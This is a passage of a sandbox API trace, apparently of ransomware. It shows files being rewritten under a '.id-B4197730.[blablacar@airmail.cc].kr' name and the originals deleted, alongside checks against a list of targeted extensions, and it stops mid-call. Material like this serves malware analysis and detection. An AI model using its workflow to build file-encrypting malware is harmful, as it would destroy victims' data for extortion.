GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\system.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.835] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.836] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.836] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.836] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\system.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.836] GetLastError () returned 0x0 [0105.836] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0106.149] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0106.169] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11010, lpOverlapped=0x0) returned 1 [0106.488] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11020, lpOverlapped=0x0) returned 1 [0106.493] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.493] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0106.493] SetEndOfFile (hFile=0x38c) returned 1 [0106.493] CloseHandle (hObject=0x38c) returned 1 [0106.915] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.915] SetEndOfFile (hFile=0x328) returned 1 [0106.917] CloseHandle (hObject=0x328) returned 1 [0106.917] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.917] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0106.918] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.918] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.918] lstrlenW (lpString=".doc") returned 4 [0106.918] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".docx") returned 5 [0106.918] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.918] lstrlenW (lpString=".pdf") returned 4 [0106.918] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".xls") returned 4 [0106.918] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".xlsx") returned 5 [0106.918] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.918] lstrlenW (lpString=".ppt") returned 4 [0106.918] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.918] lstrlenW (lpString=".zip") returned 4 [0106.918] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".rar") returned 4 [0106.918] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".bz2") returned 4 [0106.918] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.918] lstrlenW (lpString=".7z") returned 3 [0106.918] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.918] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.919] lstrlenW (lpString=".dbf") returned 4 [0106.919] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.919] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.919] lstrlenW (lpString=".1cd") returned 4 [0106.919] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.919] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.919] lstrlenW (lpString=".jpg") returned 4 [0106.919] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.920] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.920] lstrlenW (lpString=".doc") returned 4 [0106.920] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".docx") returned 5 [0106.920] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.920] lstrlenW (lpString=".pdf") returned 4 [0106.920] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".xls") returned 4 [0106.920] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".xlsx") returned 5 [0106.920] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.920] lstrlenW (lpString=".ppt") returned 4 [0106.920] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.920] lstrlenW (lpString=".zip") returned 4 [0106.920] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".rar") returned 4 [0106.920] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".bz2") returned 4 [0106.920] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.920] lstrlenW (lpString=".7z") returned 3 [0106.920] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.920] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.921] lstrlenW (lpString=".dbf") returned 4 [0106.921] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.921] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.921] lstrlenW (lpString=".1cd") returned 4 [0106.921] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.921] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0106.921] lstrlenW (lpString=".jpg") returned 4 [0106.921] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.921] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.921] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0106.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0106.922] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=26816) returned 1 [0106.922] CloseHandle (hObject=0x328) returned 1 [0106.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0106.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0106.923] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.923] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.923] GetLastError () returned 0x0 [0106.923] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0106.926] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0106.927] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.927] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11a, lpOverlapped=0x0) returned 1 [0106.928] SetEndOfFile (hFile=0x38c) returned 1 [0106.928] CloseHandle (hObject=0x38c) returned 1 [0106.929] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.930] SetEndOfFile (hFile=0x328) returned 1 [0106.931] CloseHandle (hObject=0x328) returned 1 [0106.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0106.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.932] lstrlenW (lpString=".doc") returned 4 [0106.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.932] lstrlenW (lpString=".docx") returned 5 [0106.932] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.932] lstrlenW (lpString=".pdf") returned 4 [0106.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.932] lstrlenW (lpString=".xls") returned 4 [0106.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.932] lstrlenW (lpString=".xlsx") returned 5 [0106.932] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.932] lstrlenW (lpString=".ppt") returned 4 [0106.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.932] lstrlenW (lpString=".zip") returned 4 [0106.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.932] lstrlenW (lpString=".rar") returned 4 [0106.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.933] lstrlenW (lpString=".bz2") returned 4 [0106.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.933] lstrlenW (lpString=".7z") returned 3 [0106.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.933] lstrlenW (lpString=".dbf") returned 4 [0106.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.933] lstrlenW (lpString=".1cd") returned 4 [0106.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.933] lstrlenW (lpString=".jpg") returned 4 [0106.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.933] lstrlenW (lpString=".doc") returned 4 [0106.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.933] lstrlenW (lpString=".docx") returned 5 [0106.933] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0106.933] lstrlenW (lpString=".pdf") returned 4 [0106.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.934] lstrlenW (lpString=".xls") returned 4 [0106.934] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.934] lstrlenW (lpString=".xlsx") returned 5 [0106.934] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0106.934] lstrlenW (lpString=".ppt") returned 4 [0106.934] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.934] lstrlenW (lpString=".zip") returned 4 [0106.934] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.934] lstrlenW (lpString=".rar") returned 4 [0106.934] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.934] lstrlenW (lpString=".bz2") returned 4 [0106.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.934] lstrlenW (lpString=".7z") returned 3 [0106.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.934] lstrlenW (lpString=".dbf") returned 4 [0106.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.934] lstrlenW (lpString=".1cd") returned 4 [0106.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0106.982] lstrlenW (lpString=".jpg") returned 4 [0106.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.983] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0106.983] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0106.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0106.983] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=70848) returned 1 [0106.983] CloseHandle (hObject=0x328) returned 1 [0106.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0106.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0106.985] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.985] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0106.986] GetLastError () returned 0x0 [0106.986] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0106.989] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0106.992] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.992] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x116, lpOverlapped=0x0) returned 1 [0106.992] SetEndOfFile (hFile=0x38c) returned 1 [0106.992] CloseHandle (hObject=0x38c) returned 1 [0106.995] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.995] SetEndOfFile (hFile=0x328) returned 1 [0106.997] CloseHandle (hObject=0x328) returned 1 [0107.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0107.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0107.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.328] lstrlenW (lpString=".doc") returned 4 [0107.328] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.328] lstrlenW (lpString=".docx") returned 5 [0107.329] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.329] lstrlenW (lpString=".pdf") returned 4 [0107.329] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.329] lstrlenW (lpString=".xls") returned 4 [0107.329] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.329] lstrlenW (lpString=".xlsx") returned 5 [0107.329] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.329] lstrlenW (lpString=".ppt") returned 4 [0107.329] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.329] lstrlenW (lpString=".zip") returned 4 [0107.329] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.329] lstrlenW (lpString=".rar") returned 4 [0107.329] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.329] lstrlenW (lpString=".bz2") returned 4 [0107.329] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.329] lstrlenW (lpString=".7z") returned 3 [0107.329] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.329] lstrlenW (lpString=".dbf") returned 4 [0107.329] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.329] lstrlenW (lpString=".1cd") returned 4 [0107.329] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.330] lstrlenW (lpString=".jpg") returned 4 [0107.330] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.330] lstrlenW (lpString=".doc") returned 4 [0107.330] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString=".docx") returned 5 [0107.330] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0107.330] lstrlenW (lpString=".pdf") returned 4 [0107.330] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString=".xls") returned 4 [0107.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString=".xlsx") returned 5 [0107.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0107.330] lstrlenW (lpString=".ppt") returned 4 [0107.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.330] lstrlenW (lpString=".zip") returned 4 [0107.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString=".rar") returned 4 [0107.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.330] lstrlenW (lpString=".bz2") returned 4 [0107.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.331] lstrlenW (lpString=".7z") returned 3 [0107.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.331] lstrlenW (lpString=".dbf") returned 4 [0107.331] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.331] lstrlenW (lpString=".1cd") returned 4 [0107.331] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0107.331] lstrlenW (lpString=".jpg") returned 4 [0107.331] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.331] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.331] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0107.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0107.332] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=307416) returned 1 [0107.332] CloseHandle (hObject=0x328) returned 1 [0107.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0107.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 